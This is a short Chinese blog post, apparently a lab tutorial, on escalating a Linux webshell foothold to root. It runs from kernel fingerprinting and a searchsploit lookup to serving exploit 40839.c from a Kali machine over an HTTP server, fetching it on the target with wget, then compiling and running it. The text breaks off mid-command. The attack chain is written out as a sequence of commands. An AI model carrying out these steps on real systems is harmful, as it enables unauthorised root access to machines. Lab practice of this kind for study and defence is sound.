weixin_75163847的博客

原创 Linux内核提权（保姆级）

我们通常拿到的webshell大部分都是普通用户，有些文件没有权限操作，这个时候我们就要进行提权了。一台攻击机 kali一台靶机 linuxuname -auname -rsearchsploit 2.6.32searchsploit -m+版本号（先测试debian版本在测试其他）python3 -m http.serverwget+kali ip +端口 / +利用漏洞版本号gcc -pthread 40839.c -o 40839 -lcrypt解析一下chmod +x 40839然后直接执行./40